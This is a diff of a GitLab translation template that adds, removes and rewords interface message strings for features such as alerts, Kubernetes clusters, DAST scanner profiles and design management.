-msgstr ""
-
msgid "AlertManagement|Unknown"
msgstr ""
msgid "AlertManagement|View alerts in Opsgenie"
msgstr ""
-msgid "AlertManagement|View issue"
+msgid "AlertManagement|View incident"
msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
@@ -2225,7 +2291,7 @@ msgstr ""
msgid "AlertSettings|Authorization key"
msgstr ""
-msgid "AlertSettings|Authorization key has been successfully reset"
+msgid "AlertSettings|Authorization key has been successfully reset. Please save your changes now."
msgstr ""
msgid "AlertSettings|Copy"
@@ -2324,6 +2390,9 @@ msgstr ""
msgid "All environments"
msgstr ""
+msgid "All epics"
+msgstr ""
+
msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
msgstr ""
@@ -2471,6 +2540,9 @@ msgstr ""
msgid "An %{link_start}alert%{link_end} with the same fingerprint is already open. To change the status of this alert, resolve the linked alert."
msgstr ""
+msgid "An administrator changed the password for your GitLab account on %{link_to}."
+msgstr ""
+
msgid "An alert has been triggered in %{project_path}."
msgstr ""
@@ -2537,6 +2609,9 @@ msgstr ""
msgid "An error occurred while committing your changes."
msgstr ""
+msgid "An error occurred while creating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while decoding the file."
msgstr ""
@@ -2609,9 +2684,18 @@ msgstr ""
msgid "An error occurred while fetching the Service Desk address."
msgstr ""
+msgid "An error occurred while fetching the board issues. Please reload the page."
+msgstr ""
+
+msgid "An error occurred while fetching the board lists. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
+msgid "An error occurred while fetching the board swimlanes. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the builds."
msgstr ""
@@ -2753,13 +2837,16 @@ msgstr ""
msgid "An error occurred while retrieving diff"
msgstr ""
-msgid "An error occurred while saving LDAP override status. Please try again."
+msgid "An error occurred while retrieving diff files"
msgstr ""
-msgid "An error occurred while saving assignees"
+msgid "An error occurred while retrieving projects."
msgstr ""
-msgid "An error occurred while saving the approval settings"
+msgid "An error occurred while saving LDAP override status. Please try again."
+msgstr ""
+
+msgid "An error occurred while saving assignees"
msgstr ""
msgid "An error occurred while saving the template. Please check if the template exists."
@@ -2786,12 +2873,18 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
msgid "An error occurred while validating username"
msgstr ""
+msgid "An error occurred. Please sign in again."
+msgstr ""
+
msgid "An error occurred. Please try again."
msgstr ""
@@ -2870,6 +2963,9 @@ msgstr ""
msgid "Any Author"
msgstr ""
+msgid "Any Status"
+msgstr ""
+
msgid "Any branch"
msgstr ""
@@ -3085,6 +3181,9 @@ msgstr ""
msgid "April"
msgstr ""
+msgid "Architecture not found for OS"
+msgstr ""
+
msgid "Archive"
msgstr ""
@@ -3097,6 +3196,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived in this version"
+msgstr ""
+
msgid "Archived project! Repository and other project resources are read only"
msgstr ""
@@ -3112,9 +3214,6 @@ msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
msgstr ""
-msgid "Are you setting up GitLab for a company?"
-msgstr ""
-
msgid "Are you sure that you want to archive this project?"
msgstr ""
@@ -3223,7 +3322,7 @@ msgstr ""
msgid "Are you sure? Removing this GPG key does not affect already signed commits."
msgstr ""
-msgid "Are you sure? The device will be signed out of GitLab."
+msgid "Are you sure? The device will be signed out of GitLab and all remember me tokens revoked."
msgstr ""
msgid "Are you sure? This will invalidate your registered applications and U2F devices."
@@ -3235,9 +3334,6 @@ msgstr ""
msgid "Artifact"
msgstr ""
-msgid "Artifact ID"
-msgstr ""
-
msgid "Artifact could not be deleted."
msgstr ""
@@ -3250,6 +3346,9 @@ msgstr ""
msgid "As U2F devices are only supported by a few browsers, we require that you set up a two-factor authentication app before a U2F device. That way you'll always be able to log in - even when you're using an unsupported browser."
msgstr ""
+msgid "As we continue to build more features for SAST, we'd love your feedback on the SAST configuration feature in %{linkStart}this issue%{linkEnd}."
+msgstr ""
+
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
@@ -3509,7 +3608,7 @@ msgstr ""
msgid "Authorize %{link_to_client} to use your account?"
msgstr ""
-msgid "Authorize <strong>%{user}</strong> to use your account?"
+msgid "Authorize %{user} to use your account?"
msgstr ""
msgid "Authorize external services to send alerts to GitLab"
@@ -3587,6 +3686,9 @@ msgstr ""
msgid "Automatic certificate management using Let's Encrypt"
msgstr ""
+msgid "Automatically close incident issues when the associated Prometheus alert resolves."
+msgstr ""
+
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
msgstr ""
@@ -3713,7 +3815,7 @@ msgstr ""
msgid "Badges|This project has no badges"
msgstr ""
-msgid "Badges|You are going to delete this badge. Deleted badges <strong>cannot</strong> be restored."
+msgid "Badges|You are going to delete this badge. Deleted badges %{strongStart}cannot%{strongEnd} be restored."
msgstr ""
msgid "Badges|Your badges"
@@ -3827,6 +3929,9 @@ msgstr ""
msgid "BillingPlans|per user"
msgstr ""
+msgid "BillingPlan|Contact sales"
+msgstr ""
+
msgid "BillingPlan|Upgrade"
msgstr ""
@@ -3896,13 +4001,16 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Both project and dashboard_path are required"
+msgstr ""
+
msgid "Branch"
msgstr ""
msgid "Branch %{branchName} was not found in this project's repository."
msgstr ""
-msgid "Branch <strong>%{branch_name}</strong> was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
+msgid "Branch %{branch_name} was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
msgstr ""
msgid "Branch has changed"
@@ -4097,6 +4205,9 @@ msgstr ""
msgid "Burnup chart"
msgstr ""
+msgid "Burnup chart could not be generated due to too many events"
+msgstr ""
+
msgid "Business"
msgstr ""
@@ -4271,6 +4382,9 @@ msgstr ""
msgid "Cancel"
msgstr ""
+msgid "Cancel index deletion"
+msgstr ""
+
msgid "Cancel running"
msgstr ""
@@ -4304,10 +4418,10 @@ msgstr ""
msgid "Cannot import because issues are not available in this project."
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential issues"
+msgid "Cannot make the epic confidential if it contains non-confidential child epics"
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential sub-epics"
+msgid "Cannot make the epic confidential if it contains non-confidential issues"
msgstr ""
msgid "Cannot merge"
@@ -4328,7 +4442,7 @@ msgstr ""
msgid "Cannot refer to a group %{timebox_type} by an internal id!"
msgstr ""
-msgid "Cannot set confidential epic for not-confidential issue"
+msgid "Cannot set confidential epic for a non-confidential issue"
msgstr ""
msgid "Cannot show preview. For previews on sketch files, they must have the file format introduced by Sketch version 43 and above."
@@ -4514,9 +4628,6 @@ msgstr ""
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
-msgid "Check your .gitlab-ci.yml"
-msgstr ""
-
msgid "Check your Docker images for known vulnerabilities."
msgstr ""
@@ -4742,7 +4853,7 @@ msgstr ""
msgid "Choose visibility level, enable/disable project features (issues, repository, wiki, snippets) and set permissions."
msgstr ""
-msgid "Choose what content you want to see on a group’s overview page"
+msgid "Choose what content you want to see on a group’s overview page."
msgstr ""
msgid "Choose which repositories you want to connect and run CI/CD pipelines."
@@ -4910,9 +5021,15 @@ msgstr ""
msgid "Cleanup policy for tags"
msgstr ""
+msgid "Cleanup policy maximum processing time (seconds)"
+msgstr ""
+
msgid "Clear"
msgstr ""
+msgid "Clear all repository checks"
+msgstr ""
+
msgid "Clear chart filters"
msgstr ""
@@ -5018,6 +5135,9 @@ msgstr ""
msgid "Closed %{epicTimeagoDate}"
msgstr ""
+msgid "Closed epics"
+msgstr ""
+
msgid "Closed issues"
msgstr ""
@@ -5051,19 +5171,25 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
-msgid "ClusterIntegration| %{custom_domain_start}More information%{custom_domain_end}."
+msgid "ClusterAgent|This feature is only available for premium plans"
+msgstr ""
+
+msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
-msgid "ClusterIntegration| This will permanently delete the following resources: <ul> <li>All installed applications and related resources</li> <li>The <code>gitlab-managed-apps</code> namespace</li> <li>Any project namespaces</li> <li><code>clusterroles</code></li> <li><code>clusterrolebindings</code></li> </ul>"
+msgid "ClusterAgent|You have insufficient permissions to create a cluster agent for this project"
msgstr ""
-msgid "ClusterIntegration| can be used instead of a custom domain."
+msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|%{external_ip}.nip.io"
+msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgstr ""
+
+msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
msgid "ClusterIntegration|%{title} uninstalled successfully."
@@ -5111,13 +5237,16 @@ msgstr ""
msgid "ClusterIntegration|All data will be deleted and cannot be restored."
msgstr ""
+msgid "ClusterIntegration|All installed applications and related resources"
+msgstr ""
+
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster."
msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{startLink}More information%{endLink}"
msgstr ""
-msgid "ClusterIntegration|Alternatively"
+msgid "ClusterIntegration|Alternatively, "
msgstr ""
msgid "ClusterIntegration|Amazon EKS"
@@ -5135,6 +5264,9 @@ msgstr ""
msgid "ClusterIntegration|An error occurred while trying to fetch zone machine types: %{error}"
msgstr ""
+msgid "ClusterIntegration|Any project namespaces"
+msgstr ""
+
msgid "ClusterIntegration|Any running pipelines will be canceled."
msgstr ""
@@ -5174,15 +5306,12 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{startLink}instance type %{externalLinkIcon} %{endLink}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster. Helm Tiller is required to install any of the following applications."
+msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
msgstr ""
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
-msgid "ClusterIntegration|Choose which of your environments will use this cluster. %{environment_scope_start}More information%{environment_scope_end}"
-msgstr ""
-
msgid "ClusterIntegration|Clear cluster cache"
msgstr ""
@@ -5207,6 +5336,9 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
+msgid "ClusterIntegration|Connect existing cluster"
+msgstr ""
+
msgid "ClusterIntegration|Copy API URL"
msgstr ""
@@ -5390,9 +5522,6 @@ msgstr ""
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
-msgid "ClusterIntegration|Helm streamlines installing and managing Kubernetes applications. Tiller runs inside of your Kubernetes Cluster, and manages releases of your charts."
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -5588,7 +5717,7 @@ msgstr ""
msgid "ClusterIntegration|Number of nodes must be a numerical value."
msgstr ""
-msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{link_to_help_page} on Kubernetes"
+msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{linkStart}documentation%{linkEnd} on Kubernetes"
msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
@@ -5807,12 +5936,15 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
msgstr ""
-msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{auto_devops_start}Auto DevOps%{auto_devops_end}. The domain should have a wildcard DNS configured matching the domain."
+msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
+msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
+msgstr ""
+
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -5852,15 +5984,27 @@ msgstr ""
msgid "ClusterIntegration|This option will allow you to install applications on RBAC clusters."
msgstr ""
+msgid "ClusterIntegration|This project does not have billing enabled. To create a cluster, %{linkToBillingStart}enable billing%{linkToBillingEnd} and try again."
+msgstr ""
+
+msgid "ClusterIntegration|This will permanently delete the following resources:"
+msgstr ""
+
msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
msgstr ""
+msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|To remove your integration and resources, type %{clusterName} to confirm:"
msgstr ""
msgid "ClusterIntegration|To remove your integration, type %{clusterName} to confirm:"
msgstr ""
+msgid "ClusterIntegration|To use a new project, first create one on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Uninstall %{appTitle}"
msgstr ""
@@ -5885,6 +6029,9 @@ msgstr ""
msgid "ClusterIntegration|We could not verify that one of your projects on GCP has billing enabled. Please try again."
msgstr ""
+msgid "ClusterIntegration|We were unable to fetch any projects. Ensure that you have a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|With a Kubernetes cluster associated to this project, you can use review apps, deploy your applications, run your pipelines, and much more in an easy way."
msgstr ""
@@ -5900,9 +6047,6 @@ msgstr ""
msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
msgstr ""
-msgid "ClusterIntegration|You must first install Helm Tiller before installing the applications below"
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
@@ -5933,7 +6077,7 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|documentation"
+msgid "ClusterIntegration|can be used instead of a custom domain. "
msgstr ""
msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
@@ -6110,6 +6254,12 @@ msgstr ""
msgid "Comment/Reply (quoting selected text)"
msgstr ""
+msgid "Commenting on files that replace or are replaced by symbolic links is currently not supported."
+msgstr ""
+
+msgid "Commenting on symbolic links that replace or are replaced by files is currently not supported."
+msgstr ""
+
msgid "Comments"
msgstr ""
@@ -6310,7 +6460,7 @@ msgstr ""
msgid "Configure Tracing"
msgstr ""
-msgid "Configure a <code>.gitlab-webide.yml</code> file in the <code>.gitlab</code> directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
+msgid "Configure a %{codeStart}.gitlab-webide.yml%{codeEnd} file in the %{codeStart}.gitlab%{codeEnd} directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
msgid "Configure automatic git checks and housekeeping on repositories."
@@ -6763,9 +6913,6 @@ msgstr ""
msgid "Copy"
msgstr ""
-msgid "Copy %{field}"
-msgstr ""
-
msgid "Copy %{http_label} clone URL"
msgstr ""
@@ -6850,6 +6997,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy to clipboard"
+msgstr ""
+
msgid "Copy token"
msgstr ""
@@ -6862,6 +7012,9 @@ msgstr ""
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not archive %{design}. Please try again."
+msgstr ""
+
msgid "Could not authorize chat nickname. Try again!"
msgstr ""
@@ -6886,15 +7039,21 @@ msgstr ""
msgid "Could not create group"
msgstr ""
+msgid "Could not create issue"
+msgstr ""
+
msgid "Could not create project"
msgstr ""
-msgid "Could not delete %{design}. Please try again."
+msgid "Could not create wiki page"
msgstr ""
msgid "Could not delete chat nickname %{chat_name}."
msgstr ""
+msgid "Could not delete wiki page"
+msgstr ""
+
msgid "Could not find design."
msgstr ""
@@ -6925,6 +7084,9 @@ msgstr ""
msgid "Could not save prometheus manual configuration"
msgstr ""
+msgid "Could not udpdate wiki page"
+msgstr ""
+
msgid "Could not update the LDAP settings"
msgstr ""
@@ -6940,6 +7102,11 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
+msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Create"
msgstr ""
@@ -7030,6 +7197,9 @@ msgstr ""
msgid "Create file"
msgstr ""
+msgid "Create from"
+msgstr ""
+
msgid "Create group"
msgstr ""
@@ -7066,6 +7236,9 @@ msgstr ""
msgid "Create new branch"
msgstr ""
+msgid "Create new confidential %{issuableType}"
+msgstr ""
+
msgid "Create new directory"
msgstr ""
@@ -7090,6 +7263,9 @@ msgstr ""
msgid "Create project label"
msgstr ""
+msgid "Create release"
+msgstr ""
+
msgid "Create requirement"
msgstr ""
@@ -7261,6 +7437,9 @@ msgstr ""
msgid "Custom hostname (for private commit emails)"
msgstr ""
+msgid "Custom metrics"
+msgstr ""
+
msgid "Custom notification events"
msgstr ""
@@ -7357,6 +7536,15 @@ msgstr ""
msgid "Customize your pipeline configuration."
msgstr ""
+msgid "CustomizeHomepageBanner|Do you want to customize this page?"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|Go to preferences"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|This page shows a list of your projects by default but it can be changed to show projects' activity, groups, your to-do list, assigned issues, assigned merge requests, and more. You can change this under \"Homepage content\" in your preferences"
+msgstr ""
+
msgid "Cycle Time"
msgstr ""
@@ -7521,6 +7709,9 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Profiles"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -7551,25 +7742,55 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Silver plan."
msgstr ""
+msgid "DastProfiles|Are you sure you want to delete this profile?"
+msgstr ""
+
+msgid "DastProfiles|Could not create the scanner profile. Please try again."
+msgstr ""
+
msgid "DastProfiles|Could not create the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Could not delete scanner profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete scanner profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not fetch scanner profiles. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "DastProfiles|Could not update the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Do you want to discard this scanner profile?"
+msgstr ""
+
msgid "DastProfiles|Do you want to discard this site profile?"
msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
+msgid "DastProfiles|Download validation text file"
+msgstr ""
+
msgid "DastProfiles|Edit feature will come soon. Please create a new profile if changes needed"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
-msgid "DastProfiles|Error fetching the profiles list. Please check your network connection and try again."
+msgid "DastProfiles|Error Details"
msgstr ""
msgid "DastProfiles|Manage Profiles"
@@ -7578,7 +7799,16 @@ msgstr ""
msgid "DastProfiles|Manage profiles"
msgstr ""
-msgid "DastProfiles|New Site Profile"
+msgid "DastProfiles|Minimum = 0 (no timeout enabled), Maximum = 2880 minutes"
+msgstr ""
+
+msgid "DastProfiles|Minimum = 1 second, Maximum = 3600 seconds"
+msgstr ""
+
+msgid "DastProfiles|New Profile"
+msgstr ""
+
+msgid "DastProfiles|New scanner profile"
msgstr ""
msgid "DastProfiles|New site profile"
@@ -7590,6 +7820,9 @@ msgstr ""
msgid "DastProfiles|Please enter a valid URL format, ex: http://www.example.com/home"
msgstr ""
+msgid "DastProfiles|Please enter a valid timeout value"
+msgstr ""
+
msgid "DastProfiles|Profile name"
msgstr ""
@@ -7599,12 +7832,69 @@ msgstr ""
msgid "DastProfiles|Save profile"
msgstr ""
+msgid "DastProfiles|Scanner Profile"
+msgstr ""
+
+msgid "DastProfiles|Scanner Profiles"
+msgstr ""
+
+msgid "DastProfiles|Site Profile"
+msgstr ""
+
msgid "DastProfiles|Site Profiles"
msgstr ""
+msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgstr ""
+
+msgid "DastProfiles|Site must be validated to run an active scan."
+msgstr ""
+
+msgid "DastProfiles|Spider timeout"
+msgstr ""
+
+msgid "DastProfiles|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgstr ""
+
msgid "DastProfiles|Target URL"
msgstr ""
+msgid "DastProfiles|Target timeout"
+msgstr ""
+
+msgid "DastProfiles|Text file validation"
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the spider to traverse the site."
+msgstr ""
+
+msgid "DastProfiles|Validate"
+msgstr ""
+
+msgid "DastProfiles|Validate target site"
+msgstr ""
+
+msgid "DastProfiles|Validating..."
+msgstr ""
+
+msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgstr ""
+
+msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgstr ""
+
+msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgstr ""
+
msgid "Data is still calculating..."
msgstr ""
@@ -7677,7 +7967,7 @@ msgstr ""
msgid "Default classification label"
msgstr ""
-msgid "Default deletion adjourned period"
+msgid "Default deletion delay"
msgstr ""
msgid "Default description template for issues"
@@ -7755,10 +8045,10 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
-msgid "Delete Package"
+msgid "Delete Snippet"
msgstr ""
-msgid "Delete Snippet"
+msgid "Delete account"
msgstr ""
msgid "Delete artifacts"
@@ -7815,6 +8105,9 @@ msgstr ""
msgid "Delete variable"
msgstr ""
+msgid "DeleteProject|Delete %{name}"
+msgstr ""
+
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -7836,15 +8129,24 @@ msgstr ""
msgid "Deleted"
msgstr ""
+msgid "Deleted Projects"
+msgstr ""
+
msgid "Deleted chat nickname: %{chat_name}!"
msgstr ""
-msgid "Deleted in this version"
+msgid "Deleted projects"
+msgstr ""
+
+msgid "Deleted projects cannot be restored!"
msgstr ""
msgid "Deleting"
msgstr ""
+msgid "Deleting a project places it into a read-only state until %{date}, at which point the project will be permanently deleted. Are you ABSOLUTELY sure?"
+msgstr ""
+
msgid "Deleting the license failed."
msgstr ""
@@ -7854,6 +8156,9 @@ msgstr ""
msgid "Deleting the license failed. You are not permitted to perform this action."
msgstr ""
+msgid "Deleting the project will delete its repository and all related resources including issues, merge requests etc."
+msgstr ""
+
msgid "Deletion pending. This project will be removed on %{date}. Repository and other project resources are read-only."
msgstr ""
@@ -7880,6 +8185,11 @@ msgid_plural "Dependencies|%d additional vulnerabilities not shown"
msgstr[0] ""
msgstr[1] ""
+msgid "Dependencies|%d more"
+msgid_plural "Dependencies|%d more"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Dependencies|%d vulnerability detected"
msgid_plural "Dependencies|%d vulnerabilities detected"
msgstr[0] ""
@@ -7888,6 +8198,9 @@ msgstr[1] ""
msgid "Dependencies|%{remainingLicensesCount} more"
msgstr ""
+msgid "Dependencies|(top level)"
+msgstr ""
+
msgid "Dependencies|All"
msgstr ""
@@ -7900,6 +8213,9 @@ msgstr ""
msgid "Dependencies|Component name"
msgstr ""
+msgid "Dependencies|Dependency path"
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -7918,6 +8234,9 @@ msgstr ""
msgid "Dependencies|The %{codeStartTag}dependency_scanning%{codeEndTag} job has failed and cannot generate the list. Please ensure the job is running properly and run the pipeline again."
msgstr ""
+msgid "Dependencies|There may be multiple paths"
+msgstr ""
+
msgid "Dependencies|Toggle vulnerability list"
msgstr ""
@@ -7956,8 +8275,8 @@ msgid_plural "Depends on %d merge requests being merged"
msgstr[0] ""
msgstr[1] ""
-msgid "Depends on <strong>%d closed</strong> merge request."
-msgid_plural "Depends on <strong>%d closed</strong> merge requests."
+msgid "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge request."
+msgid_plural "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge requests."
msgstr[0] ""
msgstr[1] ""
@@ -8002,7 +8321,7 @@ msgstr ""
msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
-msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The <code>gitlab-ci.yml</code> file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
+msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The %{filename} file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
msgstr ""
msgid "DeployFreeze|Time zone"
@@ -8236,13 +8555,22 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgid "DesignManagement|Archive designs"
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
+msgid "DesignManagement|Archive selected"
msgstr ""
-msgid "DesignManagement|Are you sure you want to delete the selected designs?"
+msgid "DesignManagement|Archived designs will still be available in previous versions of the design collection."
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to archive the selected designs?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
msgstr ""
msgid "DesignManagement|Cancel changes"
@@ -8275,15 +8603,6 @@ msgstr ""
msgid "DesignManagement|Could not update note. Please try again."
msgstr ""
-msgid "DesignManagement|Delete"
-msgstr ""
-
-msgid "DesignManagement|Delete designs confirmation"
-msgstr ""
-
-msgid "DesignManagement|Delete selected"
-msgstr ""
-
msgid "DesignManagement|Deselect all"
msgstr ""
@@ -8365,7 +8684,10 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Score"
+msgid "DevOps"
+msgstr ""
+
+msgid "DevOps Report"
msgstr ""
msgid "Diff content limits"
@@ -8374,6 +8696,9 @@ msgstr ""
msgid "Diff limits"
msgstr ""
+msgid "Diff view settings"
+msgstr ""
+
msgid "Difference between start date and now"
msgstr ""
@@ -8386,7 +8711,10 @@ msgstr ""
msgid "Diffs|No file name available"
msgstr ""
-msgid "Diffs|Show unchanged lines"
+msgid "Diffs|Show %{unfoldCount} lines"
+msgstr ""
+
+msgid "Diffs|Show all unchanged lines"
msgstr ""
msgid "Diffs|Something went wrong while fetching diff lines."
@@ -8491,9 +8819,6 @@ msgstr ""
msgid "Discuss a specific suggestion or question."
msgstr ""
-msgid "Discussion"
-msgstr ""
-
msgid "Discussion to reply to cannot be found"
msgstr ""
@@ -8508,7 +8833,7 @@ msgid_plural "Dismiss %d selected vulnerabilities as"
msgstr[0] ""
msgstr[1] ""
-msgid "Dismiss DevOps Score introduction"
+msgid "Dismiss DevOps Report introduction"
msgstr ""
msgid "Dismiss Merge Request promotion"
@@ -8760,9 +9085,6 @@ msgstr ""
msgid "Edit comment"
msgstr ""
-msgid "Edit dashboard"
-msgstr ""
-
msgid "Edit description"
msgstr ""
@@ -9051,9 +9373,6 @@ msgstr ""
msgid "Enable usage ping"
msgstr ""
-msgid "Enable usage ping to get an overview of how you are using GitLab from a feature perspective."
-msgstr ""
-
msgid "Enable/disable your service desk. %{link_start}Learn more about service desk%{link_end}."
msgstr ""
@@ -9222,6 +9541,9 @@ msgstr ""
msgid "Environments in %{name}"
msgstr ""
+msgid "EnvironmentsAlert|%{severity} • %{title} %{text}. %{linkStart}View Details%{linkEnd} · %{startedAt} "
+msgstr ""
+
msgid "EnvironmentsDashboard|Add a project to the dashboard"
msgstr ""
@@ -9246,7 +9568,7 @@ msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -9525,6 +9847,9 @@ msgstr ""
msgid "Epics|To schedule your epic's %{epicDateType} date based on milestones, assign a milestone with a %{epicDateType} date to any issue in the epic."
msgstr ""
+msgid "Epics|Unable to perform this action"
+msgstr ""
+
msgid "Epics|Unable to save epic. Please try again"
msgstr ""
@@ -9852,7 +10177,7 @@ msgstr ""
msgid "Exactly one of %{attributes} is required"
msgstr ""
-msgid "Example: <code>192.168.0.0/24</code>. %{read_more_link}."
+msgid "Example: %{ip_address}. %{read_more_link}."
msgstr ""
